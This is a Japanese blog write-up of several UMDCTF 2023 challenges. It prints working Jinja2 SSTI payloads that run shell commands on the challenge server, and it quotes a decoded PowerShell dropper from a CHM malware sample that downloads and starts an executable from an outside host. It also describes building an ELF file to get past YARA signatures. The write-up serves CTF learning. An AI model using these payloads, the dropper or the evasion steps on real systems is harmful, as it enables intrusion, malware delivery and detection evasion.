UMDCTF 2023 Writeup
Contents
(2023/05/29 - Yaraチャレンジの復習をしました。下の方に追記してます。)
URL: https://umdctf.io/challenges
UMDCTF は、3回目の参加です。
UMDCTF 2020 (147位)
UMDCTF 2021 (175位)
今回は 1533 points を取り、161位でした。
日曜日は、大好きなモンハンもやらず、ほぼ丸一日これをやってました。
未着手のチャレンジも多くありますが、やった中でもいくつか面白いチャレンジがあって、良いCTFイベントだった思います。
[misc]: Ports (50 points)
Challenge
You are a network packet transporting sensitive information to a very important user. Unfortunately, your human forgot to tell you which port to use. This is a problem as there are 65335 different ports! Luckily, each of these ports might tell you something…
Note: The password to each encrypted .zip file is the corresponding port number. For example: Password to port-16.txt.zip is simply 16.
Attachment:
- ports.zip
Solution
まず、ports.zipを解凍すると、port-1.txt.zip
〜 port-65335.txt.zip
の Zipファイルが出てきます。
(なぜ、65535
ではなく 65335
だったのかは不明。)
まずは、一気に解凍してきます。
$ for i in {1..65335} ; do (unzip -P $i port-$i.txt.zip) ; done
すると今度は、port-1.txt
〜 port-65335.txt
のテキストファイルが出てきます。(後述しますが、厳密には解凍できていないファイルがありました。)
テキストファイルの中身は、以下のような感じになっていて、別のファイルを見るように指示があります。
Go to port 22603 instead :( Random message: nkjhefswxbtwmxluffgzxyfoybdlpxkxlwrnmfxpalsugtwgjcottukxivjjzwiblnvkpsflmtwjiudvmqjc
おそらく、flagが入っているテキストファイルには、instead
という文字列が出てこないだろうと予想してgrepしてみたのですが、ファイルが多すぎてエラーになりました。
$ grep -v "instead" *.txt > temp.txt -bash: /usr/bin/grep: Argument list too long
ということで、一旦全てのテキストファイルの中身を一つのファイルにすることにしました。
すると、port-42237.txt
と port-42318.txt
が存在していないことに気が付きました。
$ for i in {1..65335} ; do (cat port-$i.txt >> ../temp.txt) ; done cat: port-42237.txt: No such file or directory cat: port-42318.txt: No such file or directory
どうやら unzip コマンドが失敗していたようです。
個別にコマンドを実行してみると、以下のエラーが出てきました。
$ unzip -P 42237 ../zip/port-42237.txt.zip Archive: ../zip/port-42237.txt.zip skipping: port-42237.txt need PK compat. v5.1 (can do v4.5) $ unzip -P 42318 ../zip/port-42318.txt.zip Archive: ../zip/port-42318.txt.zip skipping: port-42318.txt need PK compat. v5.1 (can do v4.5)
ちなみに、unzipで解凍できたものと、できなかったもののファイルタイプの違いは以下の通りです。
$ file port-42236.txt.zip port-42236.txt.zip: Zip archive data, at least v2.0 to extract, compression method=deflate $ file port-42237.txt.zip port-42237.txt.zip: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
Macの解凍ツールでは普通に解凍できたので、フラグはゲットできました。
Flag: UMDCTF{dDSA-d_23+t0ta11y_n0t_NSFW_tCp_pAcKET-0_0-15039254&((*#@!}
[Web]: pop calc (175 points)
Challenge
We have created a new calculator application to fit all your mathematical needs. Give it a try!
https://pop-calc.chall.lol
Solution
サイトにアクセスすると電卓があり、計算ができるようになっています。
POSTデータを見てみると、calc=
というパラメータに計算式がセットされて送信されていました。
試しに Burp Suiteの Repeaterを使って calc={{ config }}
をPOSTしてみると、設定値が取れました。
以下が、サーバーからのレスポンスです。
HTTP/2 200 OK Content-Type: text/html; charset=utf-8 X-Cloud-Trace-Context: 21d9ab888b0014774d78d7ea940cb502;o=1 Date: Sun, 30 Apr 2023 11:33:28 GMT Server: Google Frontend Content-Length: 925 [ERROR] <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
SSTI (Server-Side Template Injection) ってやつですかね。
以下を参考にしました。(OSCPのときには、よくお世話になりました。)
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
以下のように、任意のコマンドが実行できました。(注: calcの部分は、POSTしているデータのみ書いてます)
calc={{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} HTTP/2 200 OK Content-Type: text/html; charset=utf-8 X-Cloud-Trace-Context: bee9296169e7cb2f70911bff50bc1d16;o=1 Date: Sun, 30 Apr 2023 11:36:12 GMT Server: Google Frontend Content-Length: 51 [ERROR] app.py flag.txt requirements.txt templates calc={{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat flag.txt").read() }} HTTP/2 200 OK Content-Type: text/html; charset=utf-8 X-Cloud-Trace-Context: 5de4b10dcbd8accd9395c41818d67939;o=1 Date: Sun, 30 Apr 2023 11:37:10 GMT Server: Google Frontend Content-Length: 49 [ERROR] UMDCTF{wh3n_an_app_giv3s_u_ssti_p0p_calc}
Flag: UMDCTF{wh3n_an_app_giv3s_u_ssti_p0p_calc}
[Forensics]: Telekinetic Warfare (442 points)
Challenge
Someone was able to exfil a top secret document from our airgapped network! How???
Attachment:
- bruh.gif
Solution
QRコードが含まれるアニメーションGIFです。
試しに最初のQRコードを読み取ってみると、Base64でエンコードした文字列が得られました。
10000以上のQRコードが含まれていますが、それらを読み取って一つにまとめてファイルに落とすだけなので、やることは明確です。
このチャレンジは、Mac PC上で解きました。
下準備。
$ pip install pyzbar $ brew install zbar $ pip install Pillow
書いたコード:
|
|
Flag: UMDCTF{wh0_n33d5_k1net1c_w4rfar3_anyw4ys}
[Forensics]: Malware Chall Disclaimer (0 point)
Challenge
The challenge “Doctors Hate Him” is designed to emulate an actual piece of malware so handle the file with caution. The sample was written by us however it should still be treated as malicious.
Flag: UMDCTF{i_understand_that_malware_chall_is_sus}
Solution
“Doctors Hate Him” のチャレンジは、実際のマルウェアの一部を模倣して作成したものなので、注意を払って扱ってください、みたいなことだそうです。
Flag: UMDCTF{i_understand_that_malware_chall_is_sus}
[Forensics]: Doctors hate him!! (482 points)
Challenge
Someone sent me this in an email… ad targeting is hitting a little too close here smh…
Attachment:
- Doctors-Hate-Him.zip
### (Unsolved)
イベント中に解けなかったチャレンジですが、途中まではできたので、記録に残しておきます。
Zipファイルには、.chmファイルが入っています。
実はたまたま最近、.chmファイルタイプのマルウェアを調べる機会があったんですよね。
参考にしたUnit42のブログ:
https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/
.chmファイルは、7z x
で解凍が可能です。
解凍して出てくる test.html の中に、Base64でエンコードされている文字列があります。デコードすると、以下になります。
I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .h.t.t.p.:././.d.n.s.-.s.e.r.v.e.r...o.n.l.i.n.e.:.6.9.6.9./.e.x.p.l.o.r.e...e.x.e. .-.O.u.t.F.i.l.e. .e.x.p.l.o.r.e...e.x.e.;. .S.t.a.r.t.-.P.r.o.c.e.s.s. .e.x.p.l.o.r.e...e.x.e.;. .=.'.g.u.r.l._.j.n.a.g._.g.u.r.v.e.'.
余計な .
を取り除いて見やすくすると、以下になります。フラグの一部っぽい文字列 gurl_jnag_gurve
も見つかります。
Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe; Start-Process explore.exe; ='gurl_jnag_gurve'.
また、test.html には、コメントが含まれていて、フラグの一部 UMDCTF{1997_called_
が見つかります。
explore.exe
は、実際にダウンロードすることができて、Hash値は 63d961efa8c959a1f890d584daa07beffba0138e296aa08a5d639ef4b5b33d51
です。
VirusTotalのScoreでは、多くのセキュリティベンダーがマルウェア判定しています。
https://www.virustotal.com/gui/file/63d961efa8c959a1f890d584daa07beffba0138e296aa08a5d639ef4b5b33d51
ここでPEファイルが入手できたので、静的解析やら動的解析やらをして、フラグの最後のピースを探そうとした人が多かったんじゃないかと思います。
わたしもその内の一人で、ここで詰みました。。
他の方のWriteupを参照すると、http://dns-server.online:6969/ に present.txt
というファイルがあり、そこから最後のフラグが取れたようですね。
まぁ、そういうチャレンジもありなのかと思いますが、どうせならpresent.txt
に繋がる情報をexplore.exe
の中に埋め込んでおいて貰えたらもっと親切だったのに、とは思いました。
[Forensics]: YARA Trainer Gym (427 points)
Challenge
My pokemon aren’t very strong yet so I need to slip past the sigs written by the 8 YARA gym leaders! Can you help me!!!
Note: you can run the yara rules locally with yara yara_rules.yar $file
https://yara-trainer-gym.chall.lol
Attachment:
- yara_rules.yar
中身:
|
|
Solution
アクセスしてみると、任意のファイルがアップロードできるようになっています。
スクリーンショットには全部写っていませんが、Gymは1〜8まであります。
全てのyara ruleの条件にマッチするELFファイルを作成して、アップロードするとフラグが取れるようです。
これはなかなか面白いチャレンジだと思って、絶対解こうと思って頑張りました。
まず、rule1ですが、少しググってみたところ、ファイルタイプかマジックナンバーを見ているだけで、ELFファイルであれば簡単にパスできます。
その他の文字列のチェックをしているrule達は、テキトーにプログラムの中に埋め込めばパスできそうです。
XORをしている rule6 は、CyberChefで Brute Force してみたら、Key=03 でした。
とりあえず、以下のようなCのコードを書いてコンパイルし、アップロードしてみました。
|
|
これだけで、rule1, rule2, rule4, rule6 はクリアできました。
しかし、ここから section の追加などの仕方がわからず、結構悩みました。
おそらく、ldコマンドでscript fileを使ってオブジェクトファイルをリンクするとできそうなのですが、gcc -c
で作った.oファイルはldコマンドでうまくリンクできませんでした。
$ ld -o a.out YARA_solve.o ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 ld: YARA_solve.o: in function `main': YARA_solve.c:(.text+0x1e): undefined reference to `puts' ld: YARA_solve.c:(.text+0x2d): undefined reference to `puts' ld: YARA_solve.c:(.text+0x3c): undefined reference to `puts' ld: YARA_solve.c:(.text+0x4b): undefined reference to `puts' ld: YARA_solve.c:(.text+0x5a): undefined reference to `puts' ld: YARA_solve.o:YARA_solve.c:(.text+0x69): more undefined references to `puts' follow
結局、Cで書くのを諦めて、アセンブラで書きました。
参考にさせていただいたサイト:
http://yaguchi.txt-nifty.com/blog/2006/07/as_ldhello_worl_5d68.html
https://community-ja.renesas.com/cafe_rene/forums-groups/tools/f/forum21/4964/e2-studio
とりあえず、自分が解いた方法を以下に書きますが、もっと簡単なやり方があるかも知れないです。
以下が用意したアセンブラのコード。
|
|
文字列に関しては、.data sectionの辺りに書くだけなので、難しくはないです。
24, 25行目では、手元にあったテキトーなmp3をインクルードしています。
これで、エントロピーの調整(rule5)と、ファイルサイズの調整(rule8)をしています。
圧縮ファイルでエントロピーがあがるので、.mp4じゃなくても.jpgとかでもいけたはずです。
あとは、section名を指定しているところと、section数を増やしているところですね。
Script fileについては、まず、ld --verbose
コマンドでデフォルトで使われているscript fileを取り出し、それを編集して使いました。
以下は編集後のファイルの抜粋。
|
|
以下がELFファイルの作成方法です。これはMakefileにしておいて使いました。
$ as -o hello_world.o hello_world.asm $ ld -o hello_world.out -T linker_script.ld hello_world.o
Sectionがちゃんとできているかどうかは、readelf
コマンドで確認できます。
$ readelf -t hello_world.out
ローカルでのテスト結果:
$ yara yara_rules.yar hello_world.out rule1 hello_world.out rule2 hello_world.out rule3 hello_world.out rule4 hello_world.out rule5 hello_world.out rule6 hello_world.out rule7 hello_world.out rule8 hello_world.out
このファイルを、ウェブサイトにアップロードしたら、フラグが得られました。
Flag: UMDCTF{Y0ur3_4_r34l_y4r4_m4573r!}
ここから下はイベント終了後に行った復習です。
elfファイルのセクション数を増やすのは、`objcopy` というコマンドが使えたようです。
確かにググったら出てきますね。どうしてイベント中に見つからなかったんだろう。
ということで、とりあえずC言語でコード(前述)を書いてelfファイルを作った後に、objcopy
を使うのが手っ取り早い方法だったみたいです。
$ objcopy --add-section poophaha=/dev/null YARA_solve.o
エントロピーを上げる方法は、規則性の無いランダムデータ(圧縮データ、暗号化データ)が埋め込まれていればいいので、自分がやったように .jpg や .mpg を含める方法でもよかったのですが、/dev/urandom
を使うのが正攻法(?)だったようです。
このランダムデータは、objcopy
を使って追加するセクション部分に入れてもいいですし、yara ruleの中で位置のチェックはしていないのでファイルの末尾にappendしても行けますね。
$ head -c 1500000 /dev/urandom >> YARA_solve.o
手持ちのファイルを使うんだったら、こんな感じ。
$ cat snow_slide.mp4 >> YARA_solve.o
あるいは、
$ objcopy --add-section aaa=snow_slide.mp4 YARA_solve.o
挿入位置に関しては、文字列についても同様で、コードに含めなくても末尾に付ける方法もアリです。
$ echo "jessie" >> YARA_solve.o
Author CaptureAmerica @ CTF フラxxグゲット
LastMod 2023-05-29